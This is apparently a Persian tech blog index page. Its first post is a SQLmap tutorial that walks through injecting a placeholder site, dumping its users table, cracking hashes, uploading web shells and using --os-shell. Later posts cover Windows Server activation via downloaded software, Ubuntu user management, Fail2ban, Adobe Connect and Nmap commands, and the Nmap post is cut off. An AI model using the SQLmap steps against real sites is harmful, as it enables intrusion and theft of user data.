بلاگ ها

لیست تمامی بلاگ ها
SQLmap چیست و آموزش استفاده از SQLmap

SQLmap چیست و آموزش استفاده از SQLmap

SQLmap چیست؟Sqlmap یکی از مشهورترین و قوی ترین ابزار خودکار sql injection ای هست که در بحث امنیت وجود دارد . با وجود یک آدرس اینترنتی آلوده sqlmap میتواند از پایگاه داده آن به طرق مختلف بهره برداری و سوء استفاده کند و بسیاری از هکینگ های مختلف نظیر خارج کردن نام ها و جداول و ستون ها و همچنین تمامی اطلاعات درون جداول را انجام دهد! در این آموزش آموزش استفاده از sqlmap برای بهره برداری از نرم افزار های تحت وب آسیب پذیر و همچنین تمامی کار هایی که با این نرم افزار میتوان انجام داد را بررسی میکنیم .این بزار حتی میتواند در شرایطی خاص فایل ها را به صورت ریموت و یا از راه دور  بخواند و بنویسد همچنین توسط زبان برنامه نویسی پایتون نوشته شده است . این ابزار یکی از قویترین ابزار هکینگ موجود است . sqlmap قابل استفاده برای sql injection است .Sqlmap در ابزار های تست نسخه هایی از لینوکس مانند کالی لینوکس و بک ترک و بک باکس و... گنجانده شده است . در نسخه های دیگر میتوان به سادگی از لینک زیر آن را نصب کردhttp://sqlmap.org/از آنجا که این برنامه با پایتون نوشته شده است . ابتدا ما باید بر روی سیستم مان پایتون را نصب کنیم .برای درک بهتر این این آموزش ما باید دانش نسبی ای درباره چگونگی پایگاه های داده ای که با نرم افزار های تحت وب کار می کنند داشته باشیم . برای مثال آنهایی که با php و mysql ساخته شده اند.آدرس های آسیب پذیر :خب فرض کنیم که یک نرم افزار تحت وب یا وبسایت آدرس اینترنتی ای مانند آدرس زیر دارد :http://www.site.com/section.php?id=51و این آدرس مستعد sql injection است زیرا برنامه نویس این سایت به درستی از پارامتر id استفاده نکرده است. این کار را می توان با تلاش برای باز کردن آدرس اینترنتی به راحتی آزمایش کرد. 'http://www.site.com/section.php?id=51ما فقط یک نقل قول (') را به پارامتر اضافه کردیم . اگر این آدرس به شیوه ای غیره منتظره واکنشی نشان دهد سپس واضح است که این واکنش غیر منتظره به نقل قول به معنی آن است که به راحتی نمیتواند عبور کند . بنابراین در این نمونه پارامتر id در برابر sql injection آسیب پذیر است .آموزش استفاده از sqlmapالان زمان این رسیده است که برای هک کردن چنین آدرس هایی به سراغ sqlmap برویم . sqlmap توسط ترمینال همراه با مترجم پایتون اجرا میشود .1-اسکن کردن سیستم به صورت ریموتاولین دستوری که سیستم را به صورت ریموت از لحاظ آسیب پذیری sql injection بررسی کرده و در باره آن اطلاعاتی جمع آوری میکند، دستو زیر است:$ python sqlmap.py -u "http://www.site.com/section.php?id=51"در بالا اولین و مهمترین دستور برای اجرا در برنامه sqlmap ذکر شده است. این دستور پارامتر های درونی را برای این که به sql injection آسیب پذیر هستند یا نه چک میکند . برای این sqlmap  انواع مختلفی از نمونه های پیلود های sql injection را به پارامتر ورودی ارسال کرده و در نهایت خروجی را بررسی میکند .در این فرایند sqlmap همچنین قادر است تا به صورت ریموت سیستم عامل سیستم، نام دیتابیس و نسخه آن را شناسایی کند . در اینجا نمونه ای از خروجی فرضی را می توان مشاهده نمود .[*] starting at 12:10:33[12:10:33] [INFO] resuming back-end DBMS 'mysql'[12:10:34] [INFO] testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)---[12:10:37] [INFO] the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5خب ابزار sqlmap سیستم عامل، وب سرور و دیتابیس را به همراه نسخه آن کشف کرده است. هرچند این مسئله هم خیلی چشمگیر و موثر است اما زمان این است که شروع کنیم تا توانایی های بیشتر این ابزار را ببینیم .2- کشف کردن پایگاه های داده :زمانی که sqlmap تایید کرد که آدرس اینترنتی در برابر sql injection آسیب پذیر است، قدم بعدی پیدا کردن نام های دیتابیس (پایگاه داده) از طریق ریموت سیستم قابل استفاده است .  گزینه  "—dbs" برای به دست آوردن لیست پایگاه داده استفاده می شود .$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbsخروجی می تواند یه چیزی شبیه به مثال زیر باشد :[*] starting at 12:12:56[12:12:56] [INFO] resuming back-end DBMS 'mysql'[12:12:57] [INFO] testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)---[12:13:00] [INFO] the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5[12:13:00] [INFO] fetching database names[12:13:00] [INFO] the SQL query used returns 2 entries[12:13:00] [INFO] resumed: information_schema[12:13:00] [INFO] resumed: safecosmeticsavailable databases [2]:[*] information_schema[*] safecosmeticsخروجی نام پایگاه های داده موجود را بر روی ریموت سیستم نشان می دهد .3- پیدا کردن جداول در پایگاه داده خاصالان وقت آن رسیده است که جداول موجود در یک دیتابیس خاص راپیدا کنیم . خب ما در نظر میگیریم دیتابیس مورد علاقه ما در اینجا  'safecosmetics' است .دستور :$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmeticsو خروجی میتواند یه چیزی شبیه به این باشد :[11:55:18] [INFO] the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5[11:55:18] [INFO] fetching tables for database: 'safecosmetics'[11:55:19] [INFO] heuristics detected web page charset 'ascii'[11:55:19] [INFO] the SQL query used returns 216 entries[11:55:20] [INFO] retrieved: acl_acl[11:55:21] [INFO] retrieved: acl_acl_sections........... more tablesحال با هم ستون های یک جدول خاص را پیدا می کنیم :4-پیدا کردن ستون های خاص یک جدول :حال که ما لیست جداول را داریم . ایده خوبیست که ستون های بعضی از جداول خاص را به دست بیاوریم . بیایید فرض کنیم جدول "users" است و این شامل نام کاربر و پسورد است .$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T usersخروجی یه چیزی شبیه به زیر است :[12:17:39] [INFO] the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'[12:17:41] [INFO] heuristics detected web page charset 'ascii'[12:17:41] [INFO] the SQL query used returns 8 entries[12:17:42] [INFO] retrieved: id[12:17:43] [INFO] retrieved: int(11)[12:17:45] [INFO] retrieved: name[12:17:46] [INFO] retrieved: text[12:17:47] [INFO] retrieved: password[12:17:48] [INFO] retrieved: text.......[12:17:59] [INFO] retrieved: hash[12:18:01] [INFO] retrieved: varchar(128)Database: safecosmeticsTable: users[8 columns]+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+خب ستون ها به وضوح قابل رویت هستند .5- به دست آوردن داده از یک جدولاکنون به جالب ترین بخش رسیدیم . استخراج داده (اطلاعات) از جدول . دستور مطابق زیر است :$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T usersدستور بالا به سادگی داده (دیتا) را از جدول خاص بیرون میکشد خیلی شبیه به دستور mysqldump است .خروجی چیزی شبیه به زیر است :+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+به نظر میرسد که ستون hash حاوی پسورد به صورت رمز نگاری است . سعی کنید تا هش را کرک کرده و سپس مسقیما ورود پیدا کنید . sqlmap یک فایل با پسوند csv از دیتای خروجی می سازد تا به راحتی مورد بررسی قرار بگیرد .خب تا اینجا ما به کمک sqlmap توانستیم اطلاعات زیادی را به صورت ریموت از دیتابیس یا پایگاه داده جمع آوری کنیم . مانند این است که کاربر دسترسی مستقیم به دیتابیس از طریق phpmyadmin داشته باشد. در سناریوی واقعی هکر باید تلاش بیشتری کند تا دسترسی بالاتری به سیستم داشته باشد . برای این آنها باید تلاش کنند تا پسورد رمزنگاری شده را دکیریپت یا رمزشکنی کنند و تلاش کنند تا به پنل ادمین یا مدیر لاگین (ورود) کنند . یا آنها سعی کنند با استفاده از sqlmap  به سیستم عامل دسترسی پیدا کنند .قدم بعدی چیست ؟هنگامی که ما قادر هستیم اسکن کرده یا از سیستم آسیب پذیر اطلاعات جمع آوری کنیم زمان آن فرا رسیده است که از آن بهره برداری کنیم و ببینیم که امکان آن وجود دارد که به آن سیستم دسترسی داشته باشیم . sqlmap قادر است که کار های کوچکی مانند اجرای کوئری های sql را بر روی ریموت سیستم انجام داده یا بر روی سیستم یک ریموت شل راه اندازی کند .اجرای کوئری های sql به صورت دلخواه :احتمالا ساده ترین کاری که میتوان بر روی سرور انجام داد این است که حمله از طریق sql injection باشد . پارامتر کوئری (نمایش) –sql  میتواند برای اجرای یک کوئری خاص استفاده شود .نکته ی شگفت انگیز ماجرا این است که قادر خواهیم بود یک کاربر یا یوزر را در جدول کاربران ایجاد کنیم یا کار هایی از این قبیل یا شاید محتوای صفحه مدریت محتوا (cms) را تغییر بدهیم .وارد صفحه ی پنل مدیریت شده و شروع کنید :اگر وبسایت مورد نظر توسط یک سری از cms های خاص یا در کل صفحه ی پنل مدیریت دار اجرایی مشود پس از طریق صفحه ی ارائه شده برای بازیابی پسورد با بازیابی یا کرک پسورد در دیتابیس ممکن است بتوان وارد شد . پسورد های ساده یا کوتاه را میتوان با برت فورس شکست یا از گوگل کمک گرفت .چک کنید که صفحه ی مدیریت اجازه میدهد تا چند فایل را آپلود کنید. اگر یک فایل php دلخواه را بشود آپلود کرد قضیه خیلی جالب تر خواهد بود . فایل php می تواند یک شل یا سیستم کنترل از راه دوری باشد که بتوان به صورت ریموت دستورات را اجرا کرد . و یا میتوان وب شل هایی رو آپلود کرد تا مستقیما همین کار را انجام داد .شل های از راه دور :این کاری است که برای به دست گرفتن کل سیستم میتوان انجام داد . با این حال توجه داشته باشید که مانند کار هایی که بالا نشان داده شد آسان نیست .sqlmap میتواند با با پارامتری که به آن  --os-shel گفته میشود برای به دست گرفتن یک شل در ریموت سیستم استفاده شود . اما این قضیه به طور زیادی با محدودیت همراه است .با توجه به راهنمای sqlmap :It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.مهمترین امتیاز مورد نیاز در کاربر دیتابیس موجود نوشتن یا برگذاری فایل ها در درون کارکرد های پایگاه داده یا دیتابیس است . که این مورد در اکثر موارد غایب است و در حالت تکنیکی در بیشتر مواقع کار نخواهد کرد .توجه داشته باشید :بعضی مواقع sqlmap در کل نمیتواند به آدرس مورد نظر وصل شود .این مورد زمانی مشاهده می شود که در اولین اتصال گیر کند و پیام " آزمایش ارتباط اتصال با آدرس هدف" را بدهد . در این موارد استفاده از گزینه ی "—random-agent" کارامد خواهد بود . این باعث می شود که sqlmap با اثر یکی از نماینده کاربر معتبری همچون مرورگر کروم یا فایر فاکس ارسال کند .  برای آدرس هایی که در پارامتر معتبری نیستند sqlmap نمیداند که Inject را از چه طریقی انجام بدهد . برای مثال آدرس هایی مانند  :http://www.site.com/class_name/method/43/80در این موارد نیاز داریم تا با استفده از * اینجکشن را مشخص کنیمhttp://www.site.com/class_name/method/43*/80در بالا به sqlmap میگوییم که نقطه مورد نظر ما با * مشخص شده است .نتیجه گیریدر این آموزش با sqlmap و برخی استفاده های آن آشنا شدیم. در آموزش بعد نحوه استفاده از sqlmap برای فرم ها را شرح خواهیم داد.

ادامه مطلب
آموزش اکتیو کردن ویندوز سرور

آموزش اکتیو کردن ویندوز سرور

آموزش اکتیو کردن ویندوز سروراکتیو کردن ویندوز سرور یکی از مهمترین اقداماتی است که بعد از خرید سرور مجازی باید انجام داد، زیرا اکتیو نکردن آن موجب خاموش شدن اتوماتیک شده که بسیار آزار دهنده است. در این مقاله آموزش اکتیو کردن ویندوز سرور را به صورت تصویری به شما آموزش خواهیم داد. این آموزش در نسخه های 2008، 2012، 2016 و 2019 به همین شیوه انجام میشود.در صورتی که از Windows Server 2016/2019 Evaluation استفاده میکنید، ابتدا باید نسخه ویندوز سرور را تغییر دهید.برای مشاهده آموزش تبدیل Windows Server 2016 Evaluation به فول ورژن کلیک کنیدهمچنین درصورتی که برای اتصال به ویندوز سرور مشکل دارید، برای مشاهده آموزش اتصال به ویندوز سرور کلیک کنید.دانلود نرم افزار اکتیو کردن ویندوز سرور 

ادامه مطلب
آموزش افزودن و حذف کاربران در اوبونتو 20.04 Ubuntu

آموزش افزودن و حذف کاربران در اوبونتو 20.04 Ubuntu

آموزش افزودن و حذف کاربران در اوبونتو 20.04 Ubuntuیکی از اولین کارها هنگام تهیه سیستم جدید اوبونتو ، اضافه کردن و حذف کاربران است. هر کاربر می تواند سطح مجوزهای مختلف و تنظیمات خاص برای برنامه های مختلف خط فرمان و رابط کاربری گرافیکی داشته باشد. در این مقاله آموزش افزودن و حذف کاربران در اوبونتو 20.04 Ubuntu توضیح داده شده است.قبل از شروعفقط کاربران روت یا کاربر دارای امتیازات sudo می توانند کاربران را ایجاد و حذف کنند.کاربران جدید از دو طریق قابل ایجاد هستند:از خط فرمان.از طریق رابط کاربری گرافیکیافزودن کاربران در اوبونتو 20.04 Ubuntu از خط فرماندر اوبونتو ، دو ابزار خط فرمان وجود دارد که می توانید برای ایجاد یک حساب کاربری جدید استفاده کنید: useraddو adduser.افزودن یک کاربر جدید سریع و آسان است ، به سادگی از دستورadduserبه دنبال آن نام کاربری فراخوانی کنید . به عنوان مثال ، برای ایجاد یک حساب کاربری جدید با نام usernameشما اجرا خواهد شد:sudo adduser usernameAdding user `username' ...Adding new group `username' (1001) ...Adding new user `username' (1001) with group `username' ...Creating home directory `/home/username' ...Copying files from `/etc/skel' ...یک سری سؤال از شما سؤال خواهد شد. رمز ورود کاربر جدید را وارد و تأیید کنید. ارائه پاسخ به تمام سؤالات دیگر اختیاری است.Enter new UNIX password: Retype new UNIX password: passwd: password updated successfullyChanging the user information for usernameEnter the new value, or press ENTER for the defaultFull Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] در پایان از شما خواسته می شود که اطلاعات وارد شده را تأیید کنید.این دستور Home directory کاربر جدید را ایجاد می کند و پرونده ها را از /etc/skelبه آن کپی می کند. در Home directory ، کاربر می تواند پرونده ها و دایرکتوری ها را بنویسد ، ویرایش و حذف کند.اگر می خواهید کاربر جدید قادر به انجام وظایف اداری باشد ، باید کاربر را به گروه sudo اضافه کنید :sudo usermod -aG sudo usernameافزودن کاربر از طریق GUIاگر از خط فرمان راحت نیستید ، می توانید از طریق GUI یک حساب کاربری جدید اضافه کنید. برای این کار مراحل زیر را دنبال کنید:پنجره تنظیمات را باز کرده و روی برگه "Users" کلیک کنید.بر روی دکمه "Unlock" کلیک کنید و در صورت درخواست رمزعبور کاربر خود را وارد کنید. پس از وارد کردن گذرواژه ، دکمه "Unlock" به دکمه سبز "Add User" تغییر خواهد کرد.بر روی دکمه "Add User" کلیک کنید ، و پنجره افزودن کاربر ظاهر می شود:انتخاب کنید که آیا کاربر جدید باید یک کاربر استاندارد یا مدیر باشد و اطلاعات را وارد کند. پس از اتمام ، بر روی دکمه "Add" کلیک کنید.حذف کاربران در اوبونتو 20.04 Ubuntu از طریق خط فرماندر اوبونتو می توانید از دو دستور برای حذف یک حساب کاربری استفاده کنید: userdelو deluser.برای حذف کاربر ، دستورdeluser را فراخوانی کرده و نام کاربری را به عنوان آرگومان ارسال کنید:sudo deluser usernameدستور فوق پرونده های کاربر را حذف نمی کند.اگر می خواهید کاربر و دایرکتوری خانگی و صندوق نامه پستی آن را حذف کنید ، از --remove-home استفاده کنید :sudo deluser --remove-home usernameحذف کاربر از طریق GUIپنجره تنظیمات را باز کرده و روی برگه "Users" کلیک کنید.بر روی دکمه "Unlock" کلیک کنید و در صورت درخواست رمزعبور کاربر خود را وارد کنید.بر روی نام کاربری که می خواهید حذف شود کلیک کنید ، و دکمه قرمز "Remove User.." در گوشه سمت راست پایین را مشاهده خواهید کرد.بر روی دکمه "Remove User.." کلیک کنید و از شما خواسته می شود که فهرست خانه کاربر را نگه دارید یا حذف کنید. با کلیک بر روی یکی از آن دکمه ها کاربر را حذف می کند.نتیجه گیریما به شما آموزش اضافه کردن و حذف کاربران در اوبونتو 20.04 Ubuntu را نشان داده ایم. دانستن چگونگی اضافه کردن و حذف کاربران یکی از مهارتهای اساسی است که کاربر لینوکس باید از آن بداند.

ادامه مطلب
آموزش نصب و کانفیگ Fail2ban در اوبونتو 20.04 Ubuntu

آموزش نصب و کانفیگ Fail2ban در اوبونتو 20.04 Ubuntu

آموزش نصب و کانفیگ Fail2ban در اوبونتو 20.04 Ubuntuتمامی سرویس هایی که در اینترنت هستند در معرض خطر حملات بدافزارها هستند. به عنوان مثال ، اگر شما در حال اجرای یک سرویس در یک شبکه عمومی هستید ، مهاجمان می توانند با استفاده از brute-force برای ورود به اکانت شما تلاش کنند. در این مقاله آموزش نصب و کانفیگ Fail2ban در اوبونتو Ubuntu 20.04 شرح داده شده است.Fail2ban ابزاری است که با مانیتورینگ گزارش های سرویس ها برای فعالیتهای مخرب ، به محافظت از دستگاه لینوکس در برابر حملات brute-force و سایر حملات خودکار کمک می کند. تمام ورودی های مطابق با الگوها شمرده می شوند ، و هنگامی که تعداد آنها به یک آستانه از پیش تعریف شده خاص می رسد ، Fail2ban آی پی متخلف را با استفاده از فایروال سیستم برای مدت زمانی خاص بلاک می کند . با پایان دوره بلاک، آدرس IP از لیست بلاک ها حذف می شود.نصب Fail2ban در اوبونتو 20.04 Ubuntuبسته Fail2ban در مخازن پیش فرض اوبونتو 20.04 گنجانده شده است. برای نصب آن ، دستور زیر را به عنوان root یا کاربر دارای امتیازات sudo وارد کنید :sudo apt updatesudo apt install fail2banپس از اتمام نصب ، سرویس Fail2ban بطور خودکار شروع می شود. می توانید با بررسی وضعیت سرویس ، آن را تأیید کنید:sudo systemctl status fail2banخروجی به شرح زیر خواهد بود:● fail2ban.service - Fail2Ban Service Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled) Active: active (running) since Wed 2020-08-19 06:16:29 UTC; 27s ago Docs: man:fail2ban(1) Main PID: 1251 (f2b/server) Tasks: 5 (limit: 1079) Memory: 13.8M CGroup: /system.slice/fail2ban.service └─1251 /usr/bin/python3 /usr/bin/fail2ban-server -xf startدر این مرحله ، باید Fail2Ban را روی سرور Ubuntu اجرا شده باشد.کانفیگ Fail2ban در اوبونتو 20.04 Ubuntuنصب پیش فرض Fail2ban همراه با دو پرونده پیکربندی ، /etc/fail2ban/jail.confو /etc/fail2ban/jail.d/defaults-debian.conf است که توصیه نمی شود این فایل ها را تغییر دهید زیرا ممکن است هنگام به روزرسانی بسته، آنرا رونویسی کند.Fail2ban پرونده های پیکربندی را به ترتیب زیر می خواند. هر فایل .local تنظیمات را از فایل.confعبور میدهد:/etc/fail2ban/jail.conf/etc/fail2ban/jail.d/*.conf/etc/fail2ban/jail.local/etc/fail2ban/jail.d/*.localبرای بسیاری از کاربران، ساده ترین راه برای کانفیگ Fail2ban ، کپی کردن jail.confبه jail.localو تغییر فایل.localاست. کاربران پیشرفته تر می توانند یک فایل .local را از ابتدا بسازند. این فایل .localشامل کلیه تنظیمات مربوط به فایل .confمربوطه نیست ، فقط مواردی که می خواهید رد کنید.یک فایل .localپیکربندی از jail.confپرونده پیش فرض ایجاد کنید:sudo cp /etc/fail2ban/jail.{conf,local}برای شروع کانفیگ Fail2ban ، فایل jail.local را با ویرایشگر متن خود باز کنید :sudo cp /etc/fail2ban/jail.localاین پرونده شامل کامنت هایی است که می گوید هر گزینه پیکربندی چیست. در این مثال تنظیمات اساسی را تغییر خواهیم داد.لیست سفید IP هاآدرس های IP ، محدوده های IP یا هاست هایی که می خواهید از بلاک شدن آنها جلوگیری شود، می توانند به لیستignoreip اضافه شوند. در اینجا باید آدرس IP محلی رایانه شخصی و سایر دستگاههای مورد نظر خود را در لیست سفید اضافه کنید.خط را از ابتدا با ignoreip شروع کنید و آدرسهای IP خود را که با فاصله جدا شده اند ، اضافه کنید:nano /etc/fail2ban/jail.localignoreip = 127.0.0.1/8 ::1 123.123.123.123 192.168.1.0/24تنظیمات Banمقادیر bantime، findtimeو maxretryگزینه های زمان ممنوعیت و شرایط ممنوعیت را تعریف می کند.bantimeمدت زمانی است که IP ممنوع است. وقتی هیچ پسوند تنظیم نشده باشد ، چند ثانیه پیش فرض آن است. به طور پیش فرض ، bantimeمقدار 10 دقیقه تنظیم می شود. به طور کلی ، اکثر کاربران می خواهند زمان ممنوعیت طولانی تر را تعیین کنند. مقدار را به دلخواه تغییر دهید:nano /etc/fail2ban/jail.localbantime = 1dبرای ممنوعیت دائم IP از یک شماره منفی استفاده کنید.findtimeمدت زمان بین تعداد تلاش های مهاجم قبل از تعیین ممنوعیت است. به عنوان مثال ، اگر Fail2ban قرار است IP را پس از پنج حمله کردن ممنوع کند، این حمله ها باید در طول مدت findtime رخ دهند .findtime = 10mmaxretryتعداد حمله ها قبل از ممنوعیت IP است. مقدار پیش فرض روی پنج تنظیم شده است که باید برای اکثر کاربران خوب باشد.maxretry = 5اعلان های ایمیلدر صورت ممنوعیت IP ها ، Fail2ban می تواند هشدارهای ایمیل ارسال کند. برای دریافت ایمیل باید SMTP را روی سرور خود نصب کرده و عملکرد پیش فرض را که فقط IP را ممنوع می کند به %(action_mw)s، تغییر دهید ، همانطور که در زیر آورده شده است.nano /etc/fail2ban/jail.localaction = %(action_mw)s%(action_mw)s آی پی های متخلف را بلاک کرده و با یک گزارش whois ایمیلی ارسال می کند. اگر می خواهید لاگ های مربوطه را در ایمیل وارد کنید ، آن را اینگونه تنظیم کنید %(action_mwl)s.همچنین می توانید آدرس های ایمیل و ارسال و دریافت را تنظیم کنید:nano /etc/fail2ban/jail.localdestemail = admin@linuxize.comsender = root@linuxize.comFail2ban JailsFail2ban از مفهوم زندان (Jails) استفاده می کند. به طور پیش فرض فقط ssh Jail فعال می شود. برای فعال کردن Jails باید enabled = trueبعد از عنوان Jails اضافه کنید . مثال زیر نحوه فعال سازی زندان proftpd را نشان می دهد:nano /etc/fail2ban/jail.local[proftpd]port = ftp,ftp-data,ftps,ftps-datalogpath = %(proftpd_log)sbackend = %(proftpd_backend)sتنظیماتی که در بخش قبلی در مورد آنها صحبت کردیم ، می تواند در هر Jail تنظیم شود. به عنوان مثال:/etc/fail2ban/jail.local[sshd]enabled = truemaxretry = 3findtime = 1dbantime = 4wignoreip = 127.0.0.1/8 23.34.45.56فیلترها در دایرکتوری /etc/fail2ban/filter.dقرار دارند و در پرونده ای با همین نام در jail ذخیره می شوند.هر بار که یک پرونده پیکربندی را ویرایش می کنید ، باید سرویس Fail2ban را مجدداً راه اندازی کنید تا تغییرات به مرحله اجرا در بیایند:sudo systemctl restart fail2banFail2ban کلاینتFail2ban با یک ابزار خط فرمان به نام fail2ban-clientشما ارسال می شود که می توانید از آنها برای تعامل با سرویس Fail2ban استفاده کنید.برای مشاهده همه گزینه های موجود ، این فرمان را با -hفراخوانی میکنیم:fail2ban-client -hاز این ابزار می توان برای ممنوعیت / غیرفعال کردن آدرس های IP ، تغییر تنظیمات ، راه اندازی مجدد سرویس و موارد دیگر استفاده کرد. در اینجا چند مثال آورده شده است:وضعیت Jail را بررسی کنید:sudo fail2ban-client status sshdآنبلاک کردن آی پی:sudo fail2ban-client set sshd unbanip 23.34.45.56بلاک کردن آی پی:sudo fail2ban-client set sshd banip 23.34.45.56نتیجه گیریدر این آموزش نصب و کانفیگ Fail2ban در اوبونتو 20.04 Ubuntu را به شما آموزش دادیم. برای اطلاعات بیشتر در مورد این موضوع ، به اسناد Fail2ban مراجعه کنید .

ادامه مطلب
Adobe Connect (ادوب کانکت) چیست؟

Adobe Connect (ادوب کانکت) چیست؟

Adobe Connect (ادوب کانکت) چیست؟با وجود Network of Networks یعنی همان اینترنت ، زندگی انسان های امروز ، بسیار متفاوت تر از چند سال قبل شده است. پیدایش فروشگاه های آنلاین ، خدمات بانکداری آنلاین و … باعث شده است که دسترسی به بسیاری از خدمات و نیازهای های روزمره تنها از طریق یک دستگاه متصل به اینترنت ممکن باشد. کم کم با افزایش پهنای باند و سرعت اینترنت ، امکان تماشای فیلم های با کیفیت بسیار بالا و ارسال و دریافت صدا از طریق اینترنت نیز به وجود آمده است.با فراهم آمدن امکان انتقال صوت و تصاویر با کیفیت ، این ایده شکل گرفت که مدرسه ها ، دانشگاه ها و موسسه های آموزشی آنلاین نیز به وجود بیایند. در واقع کلاس های درس آنلاینی که به دانشجو امکان می دهد بدون نیاز به حضور فیزیکی در محل کلاس به آموختن و تعامل با استاد و سایر دانشجویان بپردازد.در ادامه ...گذشته از این که این امکان چه تاثیری در افزایش رفاه در کشورهای پیشرفته گذاشته است ، سازمان های بین المللی مانند یونیسف نیز به این نتیجه رسیدند که می توان از آن به عنوان اهرمی جهت فراهم آوردن امکان تحصیل برای دانش آموزان مناطق محروم استفاده نمود. بنابراین مفهوم MOOC یا Massive open online course شکل گرفت. MOOC به معنای دوره های آنلاینِ آزاد و بزرگ است. آزاد به این دلیل که از تقریبا هر کسی می تواند به راحتی در این دوره ها شرکت کند ؛ و بزرگ به این دلیل که در مدل MOOC محدودیت های فیزیکی مانند فضای کافی در کلاس درس وجود ندارد و حضور هزاران و حتی میلیون ها نفر در یک کلاس درس امکان پذیر است.در خلال پیدایش مدل MOOC مفهوم Web Conferencing به وجود آمد. البته نرم افزار های Web Conferencing به غیر از کاربردهای آموزشی ، کارکرد های تجاری را نیز شامل می شوند. قدرتمند ترین نرم افزارهای آموزشی شامل پکیج قدرتمندی از امکان جلسه های آنلاین برای محیط های کاری ، امکان برگزاری وبینارهار تجاری و شامل بسته ای کامل جهت ایجاد زیرساخت کلاس های آنلاین از طریق وب هستند.شاید بتوان گفت که مشهور ترین نرم افزارهای سرویس کنفرانس نرم افزاری تحت وب در دنیا Adobe Connect و Moodle است. ,وان سرور قصد دارد در مجموعه مقاله های آموزشی ، طراحی ، پیاده سازی و اجرای نرم افزارهای مجموعه Adobe Connect Solutions را قدم به قدم آموزش دهد.مجموعه نرم افزاری Adobe Connect Solutions شامل سه قسمت مختلف است که به طور مختصر توضیح داده می شود :Adobe Connect Meetingsاین ابزار شامل امکاناتی نظیر دسترسی به دستگاه های شرکت کنندگان ، دفتر کار دیجیتالی شخصی ، ابزارهای ضبط و ویرایش حرفه ای و همچنین امنیت بالا می باشد که به کمک آن می توان جلسه های آنلاین را برگزار نمود.Adobe Connect Webinarsوبینار به زبان ساده همان سمینار اما به صورت تحت وب می باشد. Adobe Connect به شما اجازه می دهد وبینارهای تجاری کسب و کار خود را پیاده سازی ، مدیریت و اجرا نمایید. همچنین ابزارهای تجزیه و تحلیل ترافیک را در اختیارتان قرار می دهد.Adobe Connect LearningAdobe Connect Learning شامل همه امکانات مورد نیاز برای راه اندازی کلاس های درس آنلاین می باشد. امکاناتی همچون ارسال مطالب جذاب ، امکان استفاده از کلاس ها بر روی ابزارهای موبایل ، برگزاری کلاس های زنده و از قبل ضبط شده و مدیریت و ردیابی اثربخشی آموزشی تنها بخشی از امکانات این قسمت می باشند.در مقاله های آینده توضیحات و آموزش های مختلفی در مورد این نرم افزار برای شما ارائه خواهیم داد.منبع: techtik.com

ادامه مطلب
دستورات Nmap

دستورات Nmap

دستورات NmapNmap مخفف عبارت Network Mapper  است . یک اسکنر رایگان و open source است که  توسط Gordon lyon یا Fyodor vaskovich ساخته شده است .در مقاله های قبل درمورد اینکه Nmap چیست و چه قابلیت هایی دارد و همچنین آموزش نصب Nmap توضیحاتی خدمت عزیزان داده شد. در این مقاله دستورات Nmap را بررسی خواهیم کرد.اسکن IP یا هاست با Nmapساده ترین و ابتدایی ترین روش اسکن IP با Nmap به صورت زیر است:nmap 1.1.1.1همانطور که در زیر میبینید . حالا اگر ما بخواهیم اسم هاست رو اسکن کنیم . به سادگی اسم "هاست" را با  "IP"  عوض می کنیم .nmap google.comیاnamp siraei.irاین نوع اسکن های بیسیک یا پایه ای و اساسی در اولین مراحل  هنگام شروع کار با  Nmap مناسب هستند .اسکن کردن پورت های خاص یا اسکن کردن تمامی رنج پورت روی یک سرور محلی ( لوکال) یا سرور از راه دوردر مثال زیر ما تمامی 65535 پورت برای لوکال هاست خودمان را اسکن میکنیم:nmap -p 1-65535 localhostNmap قادر به اسکن تمامی پورت های "امکانپذیر" است . اما همچنین ما می توانیم پورت های خاصی را اسکن کنیم . که نتایج را سریعتر گزارش خواهد کرد .مثلا به مثال زیر توجه کنید :nmap -p 80,443 8.8.8.8اسکن IP آدرس های متعددخب ما میخواهیم اسکن کردن چند  IP آدرس را امتحان کنیم .برای اینکار به نحو زیر عمل می کنیم :nmap 1.1.1.1 8.8.8.8همچنین ما می توانیم چند  IP آدرس متوالی ( 